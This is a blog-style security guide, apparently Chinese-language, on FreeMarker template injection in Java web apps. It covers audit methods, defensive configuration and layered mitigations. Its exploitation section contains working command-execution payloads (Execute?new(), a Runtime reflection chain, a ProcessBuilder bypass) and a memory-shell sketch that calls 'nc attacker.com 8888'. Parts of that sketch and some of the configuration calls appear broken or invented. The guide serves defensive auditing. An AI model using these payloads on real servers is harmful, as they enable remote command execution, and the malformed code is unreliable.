news 2026/4/8 11:28:42

2026版FreeMarker模板注入审计指南:从漏洞挖掘到零信任防护

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2026版FreeMarker模板注入审计指南:从漏洞挖掘到零信任防护

FreeMarker作为Java生态中最主流的模板引擎之一,广泛应用于Spring Boot、Struts2等框架的页面渲染、动态文本生成场景。随着模板引擎滥用问题的加剧,FreeMarker模板注入(FTL Injection)已成为Java Web应用高频高危漏洞,其危害可直达服务器权限控制层。

本文将从漏洞本质、审计方法论、利用演进、防御体系四个维度,结合实战案例与前瞻防御思路,完整拆解FreeMarker模板注入漏洞的全生命周期分析方法。

一、FreeMarker模板注入漏洞底层逻辑重构

1.1 模板引擎的核心执行流程(漏洞基础)

FreeMarker的执行逻辑可简化为「数据模型 + 模板文件 → 输出文本」,其核心依赖两大组件:

  • Configuration:模板引擎的核心配置类,定义模板加载路径、语法规则、安全策略;
  • Template:模板实例,承载模板语法解析与执行逻辑;
  • ObjectWrapper:负责Java对象与FreeMarker数据模型的转换,是漏洞利用的关键入口。

执行流程可视化:

安全:Model传递

危险:拼接模板

用户请求

应用接收参数

参数处理方式

模板渲染时读取Model数据

动态生成模板字符串

输出静态文本+数据

模板引擎解析执行恶意语法

执行任意代码/命令

1.2 漏洞本质:语法执行边界的突破

FreeMarker模板注入的核心是「用户输入越过「数据」边界,进入「模板语法」执行域」:

  • 正常场景:用户输入仅作为数据填充到模板的插值语法${}中,仅做值渲染;
  • 漏洞场景:用户输入被直接拼接进模板字符串,成为语法本身,引擎会解析执行其中的指令/表达式。
关键差异对比(代码层面)
安全写法(数据传递)危险写法(语法拼接)
```java
// 数据与模板分离
model.addAttribute(“name”, userInput);
Template template = cfg.getTemplate(“index.ftl”);
// 模板文件中:Hello ${name}
``````java
// 输入成为模板语法的一部分
String templateContent = "Hello " + userInput;
Template template = new Template(“vuln”, new StringReader(templateContent), cfg);
### 1.3 漏洞触发的核心条件(审计前置判断) 代码审计中,需先验证是否满足以下3个核心条件,再深入挖掘: 1. **输入可控**:用户输入(Request参数、Cookie、Body、数据库读取内容等)可进入模板渲染流程; 2. **模板动态化**:应用未使用静态模板文件,而是通过`new Template()`动态拼接模板内容; 3. **安全配置缺失**:未限制FreeMarker的类加载、方法调用、指令执行权限。 ## 二、FreeMarker模板注入漏洞审计方法论(实战落地) ### 2.1 审计前置准备:定位FreeMarker使用场景 #### 2.1.1 快速定位关键代码 通过以下特征在代码库中检索FreeMarker的使用痕迹: | 检索维度 | 关键特征 | 说明 | |----------|----------|------| | 依赖文件 | pom.xml中`org.freemarker:freemarker` | 确认FreeMarker版本(2.3.30以下风险更高) | | 配置类 | `@Configuration + FreeMarkerConfigurer` | Spring Boot中模板引擎的核心配置 | | 核心API | `Configuration.getTemplate()`/`Template.process()` | 模板加载与渲染的核心方法 | | 危险调用 | `new Template(String, Reader, Configuration)` | 动态创建模板的高危写法(重点关注) | #### 2.1.2 版本风险映射(2026最新版) | FreeMarker版本 | 核心风险点 | 防护能力 | |----------------|------------|----------| | ≤2.3.29 | 无默认类加载限制,可直接调用`Execute`工具类执行命令 | 无原生防护 | | 2.3.30-2.3.32 | 默认启用`SAFER_RESOLVER`,限制部分危险类加载 | 基础防护,仍可绕过 | | ≥2.3.33 | 禁用`TemplateClassResolver`的危险解析器,默认关闭API内置函数 | 增强防护,需结合配置加固 | ### 2.2 核心审计步骤:从线索到漏洞确认 #### 步骤1:追踪用户输入流向 - 从Controller层入手,定位接收用户输入的方法(`@RequestParam`/`@PathVariable`/`@RequestBody`); - 跟踪输入参数的传递路径,确认是否进入模板渲染相关方法; - 重点检查「输入参数 → 字符串拼接 → 模板内容」的链路(高危链路)。 #### 步骤2:验证模板加载方式 审计时需区分两种模板加载方式的风险: | 加载方式 | 代码示例 | 风险等级 | 审计要点 | |----------|----------|----------|----------| | 静态模板加载 | `cfg.getTemplate("static.ftl")` | 低 | 检查模板文件是否可被用户修改(如文件上传覆盖) | | 动态模板加载 | `new Template("dynamic", new StringReader(userInput), cfg)` | 极高 | 确认拼接的模板内容是否包含用户可控部分 | #### 步骤3:检查安全配置完整性 核心审计项(需全部满足才视为安全): ```java // 审计时需确认是否配置以下安全策略 Configuration cfg = new Configuration(Configuration.VERSION_2_3_33); // 1. 限制类加载(核心) cfg.setNewBuiltinClassResolver(TemplateClassResolver.NON_AUTOLOADABLE_RESOLVER); // 2. 禁用危险内置函数 cfg.setAPIBuiltinEnabled(false); cfg.setSharedVariable("execute", null); // 移除Execute工具类 // 3. 禁用对象解包(防止反射调用) cfg.setDisableObjectWrapperUnwrap(true); // 4. 限制模板加载路径 cfg.setTemplateLoader(new ClassTemplateLoader(this.getClass(), "/safe-templates"));

2.3 典型漏洞场景审计案例(实战还原)

案例1:Spring Boot中动态模板拼接漏洞

漏洞代码

@RestController@RequestMapping("/ftl")publicclassFtlVulnController{@GetMapping("/render")publicStringrender(@RequestParamStringcontent){// 漏洞点1:用户输入直接拼接模板内容StringftlContent="<html><body>"+content+"</body></html>";Configurationcfg=newConfiguration(Configuration.VERSION_2_3_28);// 漏洞点2:无任何安全配置try{Templatetemplate=newTemplate("vuln",newStringReader(ftlContent),cfg);StringWritersw=newStringWriter();template.process(newHashMap<>(),sw);returnsw.toString();}catch(Exceptione){returne.getMessage();}}}

审计结论

  • 输入参数content直接拼接进模板字符串,满足「输入可控+模板动态化」;
  • 未配置任何安全策略,FreeMarker使用默认低版本配置;
  • 可通过Payload${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}执行系统命令。
案例2:间接模板注入(数据库存储模板内容)

漏洞代码

@GetMapping("/renderFromDb")publicStringrenderFromDb(@RequestParamLongtemplateId){// 从数据库读取模板内容(攻击者可通过后台修改模板内容)StringftlContent=templateService.getTemplateContent(templateId);Configurationcfg=newConfiguration(Configuration.VERSION_2_3_30);Templatetemplate=newTemplate("db-template",newStringReader(ftlContent),cfg);// 渲染模板returntemplate.process(newHashMap<>(),newStringWriter()).toString();}

审计结论

  • 模板内容来自数据库,若后台无权限控制/内容校验,攻击者可修改模板内容注入恶意语法;
  • 虽使用2.3.30版本,但未配置NON_AUTOLOADABLE_RESOLVER,仍可通过反射绕过防护。

三、FreeMarker模板注入漏洞利用演进(2026最新Payload)

3.1 基础利用(插值语法执行)

  • 检测漏洞是否存在:/render?content=${1+1}→ 输出2说明语法可执行;
  • 读取系统信息:/render?content=${System.getProperty("user.dir")}

3.2 进阶利用(命令执行)

3.2.1 低版本FreeMarker(≤2.3.29)
# 直接调用Execute工具类 ${"freemarker.template.utility.Execute"?new()("whoami")} # 反射调用Runtime ${Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("ls /")}
3.2.2 高版本FreeMarker(≥2.3.30)

高版本默认限制Execute类加载,需通过TemplateClassResolver绕过:

# 绕过类加载限制 ${Class.forName("java.lang.ProcessBuilder", true, Thread.currentThread().getContextClassLoader()).newInstance(["/bin/bash","-c","whoami"]).start()}

3.3 高级利用(内存马注入)

针对Web容器(Tomcat),可通过模板注入写入内存马,实现持久化控制:

${ // 获取Tomcat上下文 ctx = Class.forName("org.apache.catalina.core.ApplicationContextFacade").getMethod("getContext").invoke(request.getServletContext()); // 构造内存马 servlet = Class.forName("javax.servlet.http.HttpServlet").newInstance(); // 覆盖service方法执行命令 Class.forName("java.lang.reflect.Method").invoke(Class.forName("java.lang.reflect.Proxy").getMethod("newProxyInstance", ClassLoader.class, Class[].class, InvocationHandler.class), null, Thread.currentThread().getContextClassLoader(), [Class.forName("javax.servlet.http.HttpServlet")], new InvocationHandler() { public Object invoke(Object proxy, Method method, Object[] args) { if (method.getName().equals("service")) { Runtime.getRuntime().exec("nc attacker.com 8888"); } return null; } }); // 注册内存马 ctx.addServlet("maliciousServlet", servlet).addMapping("/malicious"); }

四、FreeMarker模板注入漏洞防御体系(前瞻落地)

4.1 核心防御原则:数据与模板彻底分离

这是防御的核心,也是最根本的解决方案:

  • 禁止任何形式的「用户输入拼接模板字符串」;
  • 所有用户输入必须通过Model/Map传递,仅作为数据填充到静态模板中;
  • 模板文件必须存储在固定目录,且禁止用户修改/上传模板文件。

安全代码示例

@GetMapping("/safeRender")publicStringsafeRender(@RequestParamStringcontent,Modelmodel){// 1. 用户输入仅作为数据传递model.addAttribute("userContent",content);// 2. 加载静态模板文件Configurationcfg=getSafeConfiguration();Templatetemplate=cfg.getTemplate("safe.ftl");// 3. 渲染模板StringWritersw=newStringWriter();template.process(model,sw);returnsw.toString();}// 构建安全的Configuration(封装为工具类)privateConfigurationgetSafeConfiguration(){Configurationcfg=newConfiguration(Configuration.VERSION_2_3_33);// 核心安全配置cfg.setNewBuiltinClassResolver(TemplateClassResolver.NON_AUTOLOADABLE_RESOLVER);cfg.setAPIBuiltinEnabled(false);cfg.setDisableObjectWrapperUnwrap(true);cfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);// 限制模板加载路径(仅允许加载classpath下的safe-templates目录)cfg.setClassForTemplateLoading(this.getClass(),"/safe-templates");// 禁用危险指令Set<String>forbiddenDirectives=newHashSet<>(Arrays.asList("assign","import","include"));cfg.setCustomDirectiveFactories((name,params)->{if(forbiddenDirectives.contains(name)){thrownewTemplateException("Forbidden directive: "+name,null);}returnnull;});returncfg;}

4.2 分层防御策略(零信任架构)

第一层:输入校验(前置过滤)

对所有用户输入进行白名单过滤,禁止模板语法关键字:

// 输入过滤工具类publicclassFtlInputFilter{privatestaticfinalPatternFTL_PATTERN=Pattern.compile("\\$\\{|</?#|\\.\\.|java\\.lang|Runtime|Execute|Class\\.forName");publicstaticStringfilter(Stringinput){if(input==null)return"";// 替换模板语法关键字returnFTL_PATTERN.matcher(input).replaceAll("");}}
第二层:安全配置(引擎层防护)

基于FreeMarker最新版本,启用全量安全配置(见4.1中getSafeConfiguration方法)。

第三层:运行时防护(容器层限制)
  • 使用SecurityManager限制Java进程的系统调用权限;
  • 对Tomcat/Jetty等容器进行权限加固,禁止模板引擎进程执行系统命令;
  • 启用AppArmor/SELinux,限制进程的文件读写范围。
第四层:审计监控(行为检测)
  • 记录所有模板渲染的输入输出日志,重点监控包含${Runtime等关键字的请求;
  • 对接SIEM系统,设置模板注入攻击的告警规则;
  • 定期扫描代码库,检测动态模板创建的高危代码。

4.3 前瞻防御思路(2026+)

4.3.1 模板沙箱化执行

将模板渲染逻辑隔离到独立的沙箱进程中,即使模板注入成功,也无法突破沙箱权限:

  • 使用Docker容器隔离模板渲染进程,限制容器的系统调用;
  • 采用GraalVM的Native Image编译模板引擎,禁用反射、JNI等危险能力。
4.3.2 AI驱动的漏洞检测
  • 基于LLM模型训练FreeMarker模板注入漏洞的代码特征,实现静态代码审计的自动化;
  • 实时分析请求流量,通过AI识别恶意Payload的语义特征,提前拦截攻击。

五、总结与展望

核心结论

  1. FreeMarker模板注入的本质是「用户输入突破数据/语法边界」,审计核心是追踪输入流向+验证安全配置;
  2. 高版本FreeMarker虽增强了防护,但仍需结合「输入过滤+安全配置+运行时限制」的分层防御体系;
  3. 动态创建模板(new Template())是最高危的写法,应在代码规范中明确禁止。

未来趋势

  • FreeMarker官方将进一步收紧默认安全策略,逐步禁用反射、类加载等危险能力;
  • 模板引擎的安全将从「被动防御」转向「主动隔离」,沙箱化、零信任将成为主流防护方案;
  • AI驱动的自动化审计工具将大幅提升FreeMarker模板注入漏洞的检测效率和准确率。

关键落地建议

  1. 立即升级FreeMarker至2.3.33+版本,启用全量安全配置;
  2. 重构所有动态模板创建代码,改为「静态模板+Model传参」的安全写法;
  3. 建立模板文件的版本管控机制,禁止未授权修改模板内容;
  4. 定期进行漏洞扫描和渗透测试,验证防御措施的有效性。
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/6 3:10:09

AI写论文有妙招!4款优质AI论文写作工具,提升写作效率必备!

撰写期刊论文、毕业论文或职称论文时&#xff0c;许多学术人员经常会遇到各种问题。手动撰写论文&#xff0c;面对大量的文献资料&#xff0c;寻找所需的信息就像在沙漠中寻找水源&#xff0c;十分困难&#xff1b;而对格式的严格要求常常使人陷入忙乱的状态&#xff1b;反复修…

作者头像 李华
网站建设 2026/3/31 7:51:59

AI数学基础补漏:线性代数核心概念(向量)通俗解读

AI 数学基础补漏&#xff1a;线性代数核心概念&#xff08;向量&#xff09;通俗解读 一转眼咱们已经坚持到了第 18 天。前些日子咱们一直在跟 电科金仓 KingbaseES (KES) 的驱动、Pandas 的清洗逻辑较劲。今天咱们得停一停手里的“工程活儿”&#xff0c;来补一补那个让很多程…

作者头像 李华
网站建设 2026/4/8 9:52:01

C++的String类

Hello&#xff0c;我还是那只王文&#xff0c;到寒假了~做了好几天库&#xff0c;才发现我居然没更新了~ 加入组织链接&#xff1a; https://gitcode.com/invite/link/6a9749da4e7b47f29d39https://gitcode.com/invite/link/6a9749da4e7b47f29d39 最近发现原版的std::string类…

作者头像 李华
网站建设 2026/3/29 22:15:01

Midjourney 绘图下面的 u和v 什么意思?一文看懂详细参数!

很多朋友第一次使用Midjourney生成图片后&#xff0c;对下面一排V和U的按钮表示疑惑&#xff0c;他们分别是起什么作用&#xff1f; 下面小编以实战演示&#xff0c;一起和你来解读一下&#xff1a;图片生成之后&#xff0c;会有U1-U4、V1-V4按钮。 1-4指的是图片编号&#xff…

作者头像 李华
网站建设 2026/4/5 6:50:49

802.1X网络认证环境搭建

本文细阐述的是EAP-PEAP的实现过程&#xff0c;华为交换机使用的是S5735S-L24T4X-A1 802.1X协议是一种基于端口的网络接入控制协议&#xff0c;其核心目标是在用户接入局域网之前&#xff0c;在物理层或链路层对设备进行身份验证 。在一个完整的802.1X体系中&#xff0c;存在三…

作者头像 李华
网站建设 2026/4/1 19:29:09

Isaac lab运行rsl_rl,Isaac-Reach-Franka-v0,机械臂训练

在昨天的基础上&#xff0c;直接&#xff1a; python scripts\reinforcement_learning\rsl_rl\train.py --task Isaac-Reach-Franka-v0好多机械臂&#xff0c;密集恐惧症&#xff0c;卡死了。放大以后的视角。 行吧&#xff0c;就这么训着吧。

作者头像 李华